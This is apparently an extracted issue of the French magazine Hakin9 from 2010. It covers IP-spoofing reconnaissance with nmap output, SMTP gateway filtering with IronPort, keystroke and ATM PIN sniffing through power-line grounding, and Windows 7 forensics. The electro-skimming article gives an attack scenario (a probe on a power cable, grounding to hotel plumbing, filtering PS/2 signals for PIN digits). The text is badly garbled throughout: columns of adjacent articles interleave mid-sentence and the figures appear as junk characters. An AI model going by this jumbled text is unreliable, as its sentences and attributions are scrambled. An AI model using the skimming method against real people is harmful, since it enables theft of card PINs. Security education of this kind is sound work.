Listing 1. Détermination de la difficulté de l’attaque plus en plus difficile à mettre en place, il
est néanmoins nécessaire de la garder
nocrash:~# nmap -O -v 192.168.1.4
en tête et de tenter de l’éviter. Pour cela,
Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ ) la méthode la plus simple reste encore
[…] de désactiver l’ensemble des protocoles
Remote operating system guess : Linux 2.1.19 - 2.2.19
d’authentification ne se basant que sur
Uptime 0.122 days (since Thu Mar 27 16 :02 :38 2003)
TCP Sequence Prediction : Class=random positive increments l’adresse IP.

Difficulty=4687481 (Good luck !)


Auteur
IPID Sequence Generation : Incremental Régis SENET, actuellement stagiaire pour la société
JA-PSI, est étudiant en cinquième année à l’école
Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds Supérieure d’informatique Supinfo. Passionné par les
tests d’intrusion et les vulnérabilités Web, il tente
de découvrir la sécurité informatique d’un point de vue
Les lignes intéressantes sont :
entreprise. Il s’oriente actuellement vers les certifications
TCP Sequence Prediction : Class=random positive increments Offensive Security et CEH.
Difficulty=4687481 (Good luck !) Contact : regis.senet@supinfo.com
Site internet : http://www.regis-senet.fr

44 HAKIN9 2/2010
ATTAQUE
La sécurité
TONY FACHAUX

des flux SMTP


en entreprise
Degré de difficulté
Nous présenterons ici, d'une manière générale, les moyens techniques
à mettre en œuvre pour sécuriser les flux SMTP au sein d'un système
d'information. Cette sécurisation passe par la mise en place d'une
passerelle SMTP afin de contrôler tous les flux SMTP entrants et
sortants de l'entreprise. Nous appuierons notre présentation sur des
exemples utilisant la technologie Ironport de Cisco

3
,5 millions de spams par seconde, tel est le Principe de fonctionnement
dernier chiffre connu de mails indésirables Vous trouverez sur la figure 1 le principe de
circulant sur Internet. Ce chiffre représente fonctionnement général d'une architecture mail.
en moyenne 95% du trafic mail d'une entreprise. Une architecture mail est composée de
Dans certains cas, il atteint même 98%. Autant plusieurs éléments qui sont :
dire que les sociétés ont de quoi s'inquiéter quant
à la sécurité de leurs flux SMTP. Nous verrons les • Le MTA (Mail Transfer Agent)
menaces à craindre aujourd'hui et comment s'en • Le Groupware
protéger. • Le MUA (Mail User Agent)
• Le protocole SMTP
Enjeux de la sécurité des flux • Le protocole DNS
SMTP • Le protocole POP3
Aujourd'hui, le courriel est l'un des principaux • Le protocole IMAP
outils de travail d'un employé. Des milliers
de courriers électroniques transitent chaque Le MTA est le relais de messagerie qui traite les
jour au sein d'une société. Et cela, les pirates e-mails sur Internet. Il est géré soit au sein d'une
informatiques l'ont bien compris. C'est pour société, soit par un prestataire externe comme
cela que depuis plusieurs années, les attaques un fournisseur d'accès Internet. Le groupware est
informatiques par e-mail comme le spam ou le serveur de messagerie qui est en général un
encore le phishing se déploient de plus en plus. serveur Exchange. Il se rencontre encore parfois
Il est donc urgent pour les sociétés qui n'ont pris des serveurs Lotus Notes. Le MUA est le client de
aucune mesure pour le moment, de se protéger messagerie (Outlook, Thunderbird ou autre). Le
contre les menaces qui transitent par les flux protocole DNS est, quant à lui, utilisé pour contacter
CET ARTICLE
SMTP. les enregistrements MX auprès des serveurs DNS.
EXPLIQUE...
Les menaces actuelles liées
aux mails. Les relais ouverts
Comment filtrer le trafic SMTP Les relais ouverts ou Open relay sont des serveurs SMTP à partir desquels quiconque peut envoyer des mails. Ils
d'une entreprise. sont par conséquent utilisés par les spammeurs. Le risque est que ces serveurs peuvent faire partie d'une blacklist
appelée la DSBL (Distributed Sender Blackhole List). Si votre relais de messagerie fait partie de cette liste, les mails
CE QU'IL FAUT des utilisateurs peuvent ainsi être blacklistés auprès des autres serveurs de messagerie sur Internet. Les mails
SAVOIR... de la société n'arriveront donc jamais à destination. Il est donc parfois très dangereux de laisser votre relais de
Quelques notions sur le messagerie dans une telle configuration.
protocole SMTP.

46 HAKIN9 2/2010
LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

Le protocole SMTP est le protocole d'envoi Nous utiliserons de nombreux exemples Les flux SMTP entrants
d'e-mails et les protocoles POP3 et IMAP liés à la technologie Ironport de Cisco. Vous trouverez sur la figure 3 un schéma
sont les protocoles de réception des Cette technologie est aujourd'hui l'une des montrant le principe de fonctionnement
mails. meilleures en termes de protection mails des flux SMTP entrant dans la société.
et dispose de nombreux mécanismes Les serveurs SMTP externes
Fonctionnement général d'une performants : contactent les relais de messagerie
passerelle anti-spam présents en DMZ à l'issue d'une requête
Les relais SMTP ou passerelles anti-spam • Analyse par réputation DNS sur le nom de domaine de la société
sont, dans une architecture classique, • La Recipient Access Table (noms de afin de récupérer les enregistrements
placés dans une DMZ appelée DMZ domaines acceptés) MX des relais de messagerie. Ces
publique car ils sont contactés depuis • Le filtrage anti-spam relais de messagerie analysent ensuite
Internet. Ces relais sont généralement • L'analyse anti-virus le flux SMTP par rapport à la politique
présents au nombre de deux afin • Le filtrage de contenu de sécurité configurée sur les relais.
d'assurer une tolérance de panne. Ils • Le DLP Les relais de messagerie font ensuite
seront ensuite contactés par tous les • La technologie Virus Outbreak Filter transiter les mails vers les serveurs de
serveurs SMTP présents sur Internet qui • La figure 2 représente un schéma de messagerie qui sont très souvent des
désirent envoyer un mail vers la société. principe de cette technologie. serveurs Microsoft Exchange.

���

���

����������

��� ������������������

����
���� ����

�������� ��������

����
���
����
���������
����������
���������

����������
�����
����

�������
�����

Figure 1. Principe de fonctionnement d'une architecture mail

�����
����������� ������� �������
��������� ���������� ��������
���������� ������ �������
�������

Figure 2. Schéma de principe

2/2010 HAKIN9 47
ATTAQUE
Les flux SMTP sortant Le paramétrage SMTP Recipient Access Table
Vous trouverez sur la figure 4 un schéma Dans cette partie, seront expliqués Afin d'éviter de transformer votre relais de
montrant le principe de fonctionnement les différents paramétrages SMTP à messagerie en relais ouvert, il convient
des flux SMTP sortants de la société. mettre en œuvre au niveau du relais de de lui indiquer les noms de domaine
Les ser veurs de mails de la société messagerie. à accepter. Ce sont évidemment ceux
contactent les relais de messagerie utilisés au sein de votre société.
situés en DMZ. Ces derniers analysent Les listeners
les flux SMTP par rapport à la politique Les listeners permettent d'associer un Les routes SMTP
de sécurité configurée. Ils font ensuite service SMTP sur un port TCP, lui-même Les routes SMTP sont les adresses IP des
transiter le mail vers des relais SMTP associé à une adresse IP. La configuration serveurs de messagerie de la société.
externes après avoir ef fectué une idéale est de configurer un listener privé Il faut les indiquer afin de router le trafic
requête sur les ser veurs DNS du pour les mails sortants et un listener public SMTP vers les serveurs de messagerie.
domaine destinataire afin de récupérer pour les mails entrants. Autrement dit, les
les adresses IP des ser veurs MX listeners sont les interfaces réseaux du La politique de sécurité
distants. relais de messagerie. Dans cette partie, seront expliquées les
différentes technologies que peuvent
intégrer les relais de messagerie afin de
constituer une politique de sécurité mails
performante.

Les différentes actions


Vous trouverez sur la figure 5 l'ordre des
actions par lesquelles le mail passe sur un
��������������������
�������� relais de messagerie. Cet ordre s'appuie
sur la technologie Ironport de Cisco. Vous
pouvez, selon vos besoins, désactiver
certaines étapes. Ces différentes actions
seront expliquées plus loin.

Les filtres de réputation


������� Les filtres de réputation sont la principale
���������
force d'Ironport et sont de plus en plus
utilisés pour d'autres technologies de
sécurité. Ce filtrage permet d'autoriser ou
non un nom de domaine en fonction de
sa réputation sur le web. La réputation d'un
nom de domaine se matérialise par une
��������
note et est autorisée ou non selon votre
paramétrage. Les notes des noms de
��� ����������������
��� �����������
domaine sont contenues dans une base de
données. Par exemple, chez Ironport (Cisco),
la Senderbase (http://www.senderbase.org/
) est alimentée chaque jour par des
���
milliers de FAI, entreprises et universités
afin d'attribuer des notes aux noms de
domaine. Il faut par exemple savoir qu'un
����������������� nom de domaine utilisé par un réseau de
�������� botnet a une durée de vie très courte (de
l'ordre de quelques jours). Un tel nom de
domaine récolte une note très basse sur
la toile et a de fortes probabilités d'être
rejeté par le relais de messagerie si celui-ci
a correctement été configuré. Voici dans le
tableau 1, un exemple de configuration sur
Figure 3. Flux SMTP entrants un relais Ironport :

48 HAKIN9 2/2010
LA SÉCURITÉ DES FLUX SMTP EN ENTREPRISE

Un nom de domaine comprenant une virus qui peut être mise en œuvre pour les relais de messagerie de détecter des virus
note entre -10 et -4 sera automatiquement flux entrants. qui ne disposent pas encore de signatures.
rejeté, un nom de domaine avec une note Cette technologie permet de contrer la
comprise entre -4 et 6 passera différents L'Outbreak Filter fenêtre de vulnérabilité entre la sortie d'un
types de filtrage selon la configuration L'outbreak filter est une technologie anti- virus et la sortie de sa signature. L'outbreak
(anti-virus, anti-spam, etc.) et un nom de virus très performante. Elle permet au filter détecte les potentiels mails suspects
domaine avec une note comprise entre
+6 et +10 sera automatiquement accepté Table 1. Le filtrage SMTP par réputation Web
sans passer par un quelconque Scan.
Action Note Action
Vous pouvez par exemple vous amuser à
tester ces URL sur le site de SenderBase. WhiteList +6 à +10 Trusted
SuspectList -4 à 0 Accepted
L'anti-relay UnknownList 0à6 Accepted
Le mécanisme d'anti-relay permet au relais
BlackList -10 à -4 Bloqué
d'éviter qu'il ne devienne un relais ouvert.
Ce mécanisme se met en place à l'aide
d'une Recipient Access Table qui définit
les noms de domaines acceptés par le
relais. Ce mécanisme est mis en place
sur le listener public. Pour le listener privé, il
existe un mécanisme qui s'appelle le Host
Access Table qui définit les serveurs SMTP
autorisés à utiliser le relais.
��������������������
��������

Le filtre Anti-spam
Les relais disposent d'un filtre anti-spam qui se
met automatiquement à jour sur les serveurs
d'Ironport dans notre cas. Ces règles sont
actualisées toutes les 10 minutes.

La quarantaine utilisateur �������


���������
La quarantaine utilisateur est un mécanisme
qui permet aux utilisateurs de recevoir un
mail avec leur quarantaine. Cette quarantaine
contient tous les mails qui ont été bloqués
par le relais. Cela permet aux utilisateurs de
débloquer des mails considérés comme
��������
des spams alors qu'ils n'en sont pas. Notons
au passage que les relais de messagerie, ��� ����������������
�����������
���
comme la majorité des équipements de
sécurité, ne sont pas à l'abri des faux-positifs.
Toutefois, la technologie Ironport ne génère
que très peu de faux-positifs.
���
Le filtrage Anti-Virus
Les relais de messagerie Ironport intègrent
deux moteurs anti-virus: �����������������
��������

• McAfee
• Sophos

Il est possible d'en activer un sur deux,


ou les deux en même temps pour un
maximum de sécurité. Vous trouverez dans
le tableau 2 un exemple de politique anti- Figure 4. Flux SMTP sortants

2/2010 HAKIN9 49
ATTAQUE
ne disposant pas encore de signature et virus afin de tester si une signature est doivent disposer de mécanismes permettant
les place dans une quarantaine spécifique. sortie ou non depuis le blocage. de filtrer les fichiers grâce à leur «magic
Ce mécanisme détecte les mails suspects byte». En général, il convient d'interdire les
en fonction du comportement des Le filtrage de contenu pièces jointes qui disposent d'une extension
flux SMTP. Si par exemple, le relais de Le principal facteur de risque des mails exécutable du type .bat, .cmd, .exe, .bin, .dll,
messagerie reçoit dix fois plus de mails concerne les pièce jointes. Interdire certaines .msc, .chm, .wsc, .wsf, .wsh, .pif, .scr, .vbs, .msi,
avec une pièce jointe spécifique, il détecte extensions à traverser le relais de messagerie .hl, .js, .reg. Les possibilités de filtrage de
alors un comportement anormal et place n'est pas une bonne sécurité tant il est facile contenu sont immenses et dépendent du
les mails en quarantaine. Ils sont ensuite de renommer l'extension d'un fichier. C'est besoin de votre société.
régulièrement analysés par le moteur anti- pour cela que les relais de messagerie
Le DLP (Data Leakage Prevention)
Le DLP (Data Leakage Prevention) ou
Sur Internet Prévention de la Fuite de Données en
http://www.ironport.com/fr/ – Le site Web du constructeur Ironport.
français est un mécanisme de sécurité qui
http://www.senderbase.org/ – La base de réputation d'Ironport.
se déploie de plus en plus ces derniers
temps. Il permet d'éviter la fuite de données
Table 2. Politique Anti-Virus pour les flux entrants critiques pour l'entreprise. Ce mécanisme
peut être placé au niveau des postes clients
Type de message Action Tag du sujet Notification
et des relais de messagerie. En effet, les
Infecté Supprimer - Destinataire mails sont l'une des principales sources de
Réparé Délivrer [ALTERTE: PJ - fuites d'informations d'une société. Il est très
SUPPRIMEE] facile d'envoyer des documents confidentiels
Chiffré Mettre en - Destinataire par mail. C'est pour cela qu'aujourd'hui, il
quarantaine devient indispensable de filtrer les messages
Non analysable Supprimer - Destinataire sortants de l'entreprise par rapport à leur
contenu : simplement en commençant par
filtrer tous les mails contenant une pièce
jointe avec le mot « Confidentiel » ou encore
le nom de la société. La politique de DLP
peut ensuite être très complexe à élaborer
����������������� �����������������
���������������������������������� ����������������������������������
et dépend, encore une fois, de l'activité et des
besoins de l'entreprise.
���������������������� ������
��������������������������������������
Conclusion
�������������������������
������������������������������������������
Après avoir démontré l'importance de
�������������������������������� sécuriser les flux SMTP d'une entreprise,
��������������� ���������������
nous avons expliqué le principe de
���������������������������������� ���������������������������������� fonctionnement général d'une architecture
�������������������������� ��������������������������
mail et les différents mécanismes de
������������������������������� ������������������������������� sécurité à mettre en œuvre au sein
��������������������������������� �������������������������������������������
d'une société afin de rendre la sécurité
�������� des flux SMTP performante. Tout cela
����������������������
nous a permis de démontrer qu'il est
������������������������

������������������������

��������� ��������� primordial pour une société de sécuriser


������������������������� �������������������������
correctement les flux SMTP car les mails
��������������� ��������������� représentent aujourd'hui le principal canal
������������������� �������������������
de communication d'une société.
��������������������� ���������������������
�������������������������������� ��������������������������������
������������������������� �������������������������

����������������� ����������������� À propos de l'auteur


L'auteur est ingénieur sécurité chez Dimension Data
Luxembourg. Son métier consiste en la conception,
la mise en œuvre et le support d'architectures de
sécurité pour des clients grands comptes. Diplômé
d'un Master en «Sécurité Informatique» à l'EPITA à Paris,
il se passionne pour les technologies de sécurité de
Figure 5. L'ordre des actions l'information.

50 HAKIN9 2/2010
ATTAQUE
MARIUSZ GIBKI

Électro-skimming
Fuites électriques
d'information
Degré de difficulté
Peur de perdre votre carte de crédit ? Peur de vous faire voler de
l’argent ? Une nouvelle méthode de skimming risque de tourmenter
votre quotidien. Découvrez le fonctionnement et les risques de
cette méthode pour mieux la comprendre et pour mieux vous en
protéger.

L
es médias nous informent de temps méthode a été présentée par les spécialistes
en temps des nouvelles manières de italiens de sécurité lors de la conférence Black
retirer l'argent des guichets bancaires Hat qui s'est déroulée à Las Vegas. Conformément
automatiques : en scannant et créant une aux garanties des spécialistes, Andrea Braisani et
copie de la carte ou en volant cette carte à son Daniele Bianco, l'équipe de spécialistes utilisant
détenteur. La carte peut donc être interceptée l'outil conçu a réussi à intercepter les codes saisis
d'une manière ou d'une autre, il reste toutefois la dans les guichets automatiques italiens sans
question du code sans lequel la carte est inutile. utiliser les caméras ou autres appareils vidéo
Il existe de nombreuses méthodes pour obtenir et uniquement au moyen d'une prise électrique.
le code, en installant une couche sur le pavé Une nouvelle méthode de skimming est donc
numérique du guichet automatique, en installant disponible. Le terme skimming est employé pour
des micro-caméras pour enregistrer les touches définir les attaques du type Man in the middle qui
sur lesquelles l'utilisateur appuie. Depuis peu, une servent à voler les données relatives à toute sorte
nouvelle méthode plus sophistiquée a fait surface. de cartes de paiement et de crédit. La méthode
Tout cela est lié à PS/2 protocol keyboard sniffer, la plus populaire de ce type d'attaque consiste à
autrement dit, un outil permettant d'intercepter les utiliser un appareil supplémentaire installé dans
entrées au clavier PS/2 en analysant les signaux une fente qui sert à introduire la carte au guichet.
de mise à terre dans le réseau électrique. Cette Cet appareil permet alors de copier la bande

� �

CET ARTICLE � �
EXPLIQUE
� �
Analyses de différents types
d'attaques
����������������������
Techniques pour réaliser une
�����������������������������
écoute visant à intercepter les
����������������
entrées au clavier
���������������������
������������������������������
CE QU'IL FAUT
SAVOIR..
bases de Scilab Figure 1. Théorie de la première attaque

52 HAKIN9 2/2010
ÉLECTRO-SKIMMING FUITES ÉLECTRIQUES D’INFORMATION

magnétique de la carte et de créer sa Les spécialistes italiens ont travaillé sur 3). Le câble de mise à terre avec isolement
copie. Le code est enregistré par une les analyses de deux types d'attaques : est dirigé vers une source d'alimentation
caméra lors de ce type d'attaque. (prise électrique). Ensuite, la connexion
L'exploration de la zone d'émission • Interception des touches appuyés sur passe à l'ensemble de réseau électrique
électromagnétique constituait l'un des plus le clavier PS/2 dans le réseau énergétique donné. Au
étranges et des plus intéressants éléments • Écoute du clavier de l'ordinateur moment où on appuie sur les touches du
relatifs aux questions de la sécurité portable par le chargement optique clavier, le champ électromagnétique change.
informatique. À la fin des années 60 et de l'énergie mécanique. Ces changements sont aussi envoyés plus
au début des années 70, il a été prouvé loin au réseau électrique et peuvent être
que tout appareil conduisant un courant Cet article présente les techniques pour interceptés et lus. Il faut aussi ajouter le
électrique était source de rayonnement réaliser une écoute visant à intercepter facteur de perturbations provoquées par
électromagnétique. Ce point concerne les entrées au clavier à l'aide des les oscillations de l'alimentation et le travail
aussi bien les appareils, par exemple, équipements bon marché. Les techniques d'autres appareils dans le réseau, difficiles
ordinateur ou guichet automatique, mais présentées reposent en grande partie sur à identifier. Si des perturbations ont lieu, elles
aussi les câbles avec lesquels ces les méthodes déjà connues. Le but de ce peuvent entraîner des fuites de données plus
appareils sont branchés à une source document est de démontrer le peu d'effort importantes. La fréquence du signal émis
d'alimentation. Le flux de données génère et d'argent nécessaire pour permettre un par les claviers du type PS/2 est inférieure
un rayonnement électromagnétique d'une accès aux informations qui devraient être à un autre signal, il est donc facile à filtrer
fréquence définie principalement par le en sécurité. Le texte signalera aussi que les tous les autres signaux interceptés. Il existe
moniteur, quel qu'il soit (CRT ou LCD). Le recherches effectuées dans le document des cas documentés, décrivant la question
rayonnement est également émis par décrit par les spécialistes italiens duraient de la fuite d'informations par ce moyen mais
les ports, les prises, les scanneurs et environ une semaine et donnaient des des analyses plus importantes relatives
autres appareils. Le signal émis est aussi résultats encourageants. Que peut-on à cette question n'ont pas été menées.
au réseau énergétique depuis lequel donc obtenir avec davantage d'argent Or récemment, suite à de nombreuses
l'appareil est alimenté. Tous ces signaux dont disposent par exemple, des agences expériences indépendantes relatives à
portent une information définie. Il suffit de des renseignements ou des organisations l'écoute du réseau par la mise à terre, il a été
la lire. Afin de garantir une protection et à criminelles ? Il est donc important de constaté qu'une mise à terre commune
la demande de Pentagone, on a formulé prendre conscience des manières peut fonctionner comme une antenne. Pour
la norme TEMPEST (temporary emanation possibles et non conventionnelles de fuites cette raison, l'attaque du signal PS/2 est très
and spurious transmission). Cette norme d'informations et des conséquences que attrayante et difficile à détecter. L'avantage
définit les moyens de protection exigés peuvent avoir ces fuites (cf. Figure 1). principal se trouve dans le fait que les
pour les appareils de traitement des Les câbles se trouvent très près l'un de données sont en série. À chaque fois qu'on
données, importants pour la sécurité l'autre et exercent une influence l'un sur l'autre appuie sur une touche, un bit d'information
nationale des États-Unis. Ce standard avec le rayonnement électromagnétique. est envoyé dans une unité de temps donnée
a été maintes fois changé et publié Il existe la théorie d'après laquelle la et l'ensemble est envoyée dans un cadre
sous les noms différents durant les fuite de données a lieu quand le champ composé de 11-12 bits. Comme il a été
années (NAG1A, FS222, NACSIM 5100, électromagnétique du câble de données mentionnée, la fréquence du signal PS/2 est
NSCD). Aussi bien les normes que la (PIN 1) passe au câble de mise à terre (PIN très basse et s'élève à 10 – 16,7 Khz.
technologie de création de l'équipement
indiqué TEMPEST sont strictement secrets ��

mais à la fin des années 70, certains


fabricants privés ont été autorisés de
���
� ����

produire des appareils avec cette classe. ���


L'acronyme TEPEST définit également ��
la technologie permettant d'intercepter
une image depuis le moniteur d'après
le rayonnement électromagnétique
(Transient ElectroMagnetic Pulse
Emanation Standard). Un projet Open ���
Source appelé EckBox est également ��

réalisé. Il permet de créer soi-même un


appareil capable d'intercepter une image
depuis le moniteur.
Site du projet : http://eckbox.sourceforge. Figure 2. Schéma du filtre RIF (source : Wikipedia)
net/polish/index.html

2/2010 HAKIN9 53
ATTAQUE
Dans tous les cas, il était possible
Écrit d'après : de mesurer à l'aide de l'oscilloscope
les oscillations du champ électrique
• Documents de la conférence Black Hat – BHUSA09 Barisani KeyStrokes PAPER. présentes dans le réseau de mise à terre.
• Joe McNamara - „The Complete, Unofficial TEMPEST Information Page”
Bien que le signal contienne de nombreux
• Wikipedia
signaux dépourvus d'informations causés
par la topologie du réseau du laboratoire
L'exemple de cadre de données se le processus de filtrage, il est possible de la physique nucléaire, il était possible
présente de manière suivante : d'utiliser de simples filtres qui fonctionnent de filtrer le signal émis par le clavier du
dans la zone 1-20 Khz. Utiliser un filtre est type PS/2 à l'aide du filtre RIF. Les résultats
{ Début ( 1bit) | Données (8 bits) | seulement une des plusieurs méthodes de mesures se rapprochent quelque
Parité (1 bit) | de filtrage disponibles. Il faut bien soit la distance de l'écoute. Il faut aussi
Stop ( 1 bit) | évidemment opter pour une méthode mentionner que le coefficient d'absorption
ack (1 bit) } qui permettra d'obtenir les meilleurs du fil en cuivre est important dans le cas
résultats. Lors de la conférence Black Hat, des fréquences plus élevées que celles
A titre d'exemple, l'écoute d'une entrée les spécialistes ont utilisé le filtre FIR . FIR mesurées dans le cas de PS/2. L'attaque
de la touche B se présente de manière filter (en anglais Finite Impulse Response est donc plus efficace à des distances
suivante : filter), autrement dit, filtre à réponse plus grandes. Une fuite d'informations
impulsionnelle finie, est une sorte de par le réseau électrique est donc tout
{ 0 | 01001100 | 0 | 1 } filtre numérique non récursif. L'acronyme à fait possible et l'écoute peut être
français est RIF. En pratique, la réaction à effectuée avec un budget restreint. Avec
Afin d'effectuer une attaque avec la mise la sortie de ce circuit à l'incitation d'une un équipement professionnel et plus cher
à terre du réseau, il faut utiliser un câble longueur finie des ondes est aussi finie d'une plus grande sensibilité, l'attaque de
d'alimentation modifié, branché près de la (la longueur de l'incitation et la réponse ce type peut être réussie à une distance
prise d'alimentation. correspond ici à la longueur du segment plus grande.
Le câble qui constitue la sonde est de temps pour lequel les échantillons du
composé de deux crochets à installer signal prennent les valeurs différentes de Exemple de scénario de
sur le câble d'alimentation. L'ensemble zéro). Pour que cette condition puisse l'attaque
doit également comprendre un système être remplie, les filtres de ce type sont A quoi pourrait ressembler une attaque
de mise à terre de la sonde, donc un dépourvus d'une boucle de couplage à avec la méthode présentée ? Choisissons
autre câble à brancher par exemple, aux réaction, ce que présente le schéma du la cible de l'attaque : personne utilisant un
tuyauteries dans la salle de bain (lorsque filtre RIF (cf. Figure 2). ordinateur, qui se trouve dans le même
l'attaque est effectuée dans un hôtel). Le logiciel gratuit Scilab (cf. Figure 3) immeuble que l'attaquant (hôtel, bureau,
Ensuite, il faut mesurer la différence des a servi pour effectuer des calculs. Scilab etc.). L'attaquant doit se connecter au
potentiels présents sur chaque extrémité est un programme scientifique conçu en même réseau électrique que l'ordinateur,
du résistor qui fait également partie de 1990 par l'Institut national de recherche cible de l'attaque. Il est facile de le
l'ensemble. en informatique et automatique (INRIA). Ce faire dans un hôtel en choisissant la
Il faut filtrer les signaux provenant programme sert aux calculs numériques. chambre en-dessous ou au-dessus de
de PS/2 parmi les signaux lus qu'il L'application est comparable à MATLab la chambre de la victime. Une fois le
est possible d'enregistrer, comme le commercial. Le site officiel du paquet : bon emplacement trouvé, il est temps de
démontre le schéma ci-dessus. Pour http://www.scilab.org/. passer aux opérations pour obtenir des
Les premiers tests ont été effectués informations. N'oublions pas qu'un guichet
dans les laboratoires de la physique automatique qui se trouve dans le même
nucléaire. Le réseau d'une telle immeuble que l'attaquant et branché au
organisation comprend davantage de même réseau électrique peut constituer
signaux supplémentaires (bruit) qu'une une cible de l'attaque. Si l'attaquant
installation standard utilisée dans les choisit d'attaquer un guichet automatique,
immeubles et demande donc de corriger il sait qu'il devra filtrer 4 chiffres du code.
davantage d'erreurs. Les tests menés Le filtrage se limite donc à 10 caractères
dans des conditions si difficiles constituent numériques. La difficulté que peut avoir
un exemple parfait de l'efficacité de ce l'attaquant se trouve dans le fait que
type d'attaque en particulier si l'attaque l'utilisateur peut travailler sur un ordinateur
a lieu dans les conditions standard. Les portable sur batterie et non branché à un
Figure 3. Scilab – exemple de capture mesures ont été prises à distance de 1, réseau électrique.
d'écran 5, 10 et 15 mètres de l'appareil espionné.

54 HAKIN9 2/2010
ATTAQUE
Informatique
WOJCIECH SMOL

légale sous
Degré de difficulté
Windows 7 Windows 7, conformément aux prévisions, se vend mieux que son
prédécesseur. Il a donc toutes ses chances de devenir en une
courte période l'un des systèmes d'exploitation les plus populaires
dans le monde. Si elle veut suivre les nouvelles tendances,
l'informatique légale doit donc concevoir rapidement des méthodes
efficaces pour collecter les preuves numériques apparues dans
l'environnement de Windows 7.

N
ous avons été récemment témoins collecter les preuves numériques (tels que
de la première du nouveau système mécanisme de copies instantanées) est
d'exploitation de Microsoft. Le toujours présente dans le nouveau système.
successeur de Vista échoué a été impatiemment Tous ces points font qu'un informaticien
attendu par un grand nombre d'utilisateurs d'investigation, avec une expérience de
qui gardaient leur vieux système XP. Windows Windows Vista, sera capable de commencer
7, malgré de nombreuses améliorations et à travailler sous Windows 7 d'une manière
optimisations incontestables, ressemble par ses relativement simple. Afin de préparer une
fonctions à son prédécesseur. Tout le monde solide analyse, il faut faire attention aux petites
CET ARTICLE sait que de nombreuses fonctions internes dif férences qui sont toutefois présentes.
EXPLIQUE de Windows 7 (identification code Windows Toutes les techniques légales que je présente
les principes de base qui gèrent
NT 6.1) sont similaires (voire identiques) à ont été préparées et testées pour Windows 7. En
l'informatique légale moderne, celles connues dans Vista (identification code raison des similitudes évoquées, la plupart d'entre
les mécanismes Windows 7 qui Windows NT 6.0). elles seront probablement utiles aussi dans
constituent la source potentielle Tous ces points, sont-il importants du point l'environnement Windows Vista.
des preuves numériques,
de vue de l'informatique légale ? L'apparition
les mécanismes et les outils
existants permettant d'effectuer d'un nouveau système d'exploitation, qui Un autre article sur l'informatique
des investigations numériques
dans l'environnement Windows
gagnera probablement rapidement une grande légale ?
7, part du marché, constitue un grand défi pour le L'informatique légale – domaine scientifique créé
les outils gratuits les plus domaine d'informatique criminel. Il est en ef fet suite à la fusion des sciences forensiques et
intéressants d'informatique nécessaire de concevoir le plus rapidement techniques informatiques avancées – se concentre
légale destinés à analyser les
systèmes Windows. possible de nouveaux outils et méthodologies principalement sur la collecte et la protection des
pour collecter des preuves numériques dans preuves numériques des crimes.
CE QU'IL FAUT l'environnement du nouveau système. Les Nous pouvons résumer les principes
SAVOIR changements évolutifs (et non révolutionnaires) élémentaires de l'informatique légale de manière
les techniques élémentaires apportés par Microsoft à Windows 7 simplifient suivante :
utilisées par les informaticiens
d'investigation, toutefois considérablement cette tâche. Les
les bases de mécanismes outils d'investigation, capables de fonctionner • lecteur original ne peut être aucunement touché
d'enregistrement d'informations sous Windows 7, étaient disponibles quasiment (le processus d'analyse ne se déroule que sur
sur les activités des utilisateurs
et les opérations sur le le jour de la première du nouveau système ! la copie du lecteur réalisée à cet effet),
système de fichiers, utilisés De plus, une série de mécanismes utilisés • copie de travail du lecteur doit refléter
dans Microsoft Windows (en
particulier, Windows Vista). volontairement sous Windows Vista pour exactement (c'est-à-dire, tous les bits) le

56 HAKIN9 2/2010
INFORMATIQUE LÉGALE SOUS WINDOWS 7

lecteur original (vérifié au moyen des Suite aux modifications susmentionnées, philosophie de fonctionnement des
sommes de contrôle, telles que MD5 une nouvelle méthodologie de collecte systèmes informatiques, la mémoire
ou SHA-1), des preuves numériques, appelée vive constitue le plus souvent la source
• analyse doit prendre en compte tous Live forensics, a été créée. Dans le des preuves numériques plus précises
les états de données potentiellement cas de l'informatique légale moderne, que celles que l'on peut trouver sur le
disponibles (actifs, masqués, chiffrés, l'attention est donc portée sur la disque dur de l'ordinateur en question.
temporaires, supprimés, archivés, protection dans un premier temps Mon but n'est pas d'écrire un nouvel
etc.), des informations en provenance des article sur l'informatique légale en tant
• toutes les opérations effectuées lors sources les plus volatiles. Il s'agit que telle, j'ai tout simplement rappelé
de l'analyse doivent être solidement en particulier de la mémoire vive de plusieurs principes de base pour
documentées, l'ordinateur mais aussi de la mémoire manipuler les preuves numériques et
• rapport détaillé, décrivant toutes les cache, de l'état du noyau et des états j'ai mentionné les directions actuelles
opérations et les outils utilisés pendant des connexions réseau. L'informatique du développement de l'informatique
l'analyse, conclue le processus. légale du type Live demande donc légale. Dans la suite de cet article, je me
de commencer l'investigation sur concentrerai en revanche uniquement
Il y a quelques années (donc récemment), place, directement sur le système en sur les mécanismes et les outils
l'informatique légale se concentrait marche, si l'ordinateur est allumé. Il typiques pour l'environnement Windows
principalement sur les informations est particulièrement important ici de 7, qui peuvent constituer potentiellement
stockées sur les disques durs. Les réaliser une image de la mémoire vive la source des preuves numériques les
procédures légales traditionnelles (acquisition de mémoire) au moyen plus intéressantes.
recommandaient donc de débrancher des outils appropriés (par exemple, en
physiquement l'ordinateur de la source local à l'aide de Live Response, voire Profils de l'utilisateur,
d'alimentation et de l'apporter (ou à distance à l'aide de F-Response). historique du navigateur
seulement les disques durs) pour Il s'avère en ef fet que suite aux Commençons notre voyage à la
l'analyser dans le laboratoire. Mais changements susmentionnés dans la recherche des preuves numériques
cette informatique légale traditionnelle
appartient au passé...
Un grand changement dans
l'approche de collecte des preuves
numériques a été récemment forcé par
une série de nouvelles technologies qui
se sont répandues durant les dernières
années aussi bien dans les ordinateurs
personnels que professionnels. Il s'agit
notamment :

• des applications lancées directement


depuis une clé USB flash et
fonctionnant uniquement dans la
mémoire RAM (sans laisser de traces
sur le disque dur),
• des logiciels malveillants (par exemple,
type rootkit) fonctionnant uniquement
dans la mémoire Ram (sans laisser
de traces sur le disque dur),
• des programmes populaires (par
exemple, navigateurs Internet) équipés
de plus en plus souvent des fonctions
de suppressions des traces d'activité
de l'utilisateur,
• de la vulgarisation des technologies
Web 2.0, grâce à laquelle un utilisateur
moyen stocke de plus en plus de ses
données sur les serveurs Internet
externes et non en local. Figure 1. Liste des copies instantanées créées par le mécanisme VSS

2/2010 HAKIN9 57
ATTAQUE
collectées dans l'environnement Windows Temporary Internet Files\Low\ • l'option Activer le mode protégé
7 par les endroits les plus évidents, à Content.IE5 et %userprofile%\AppData\ décochée dans le menu Outils/
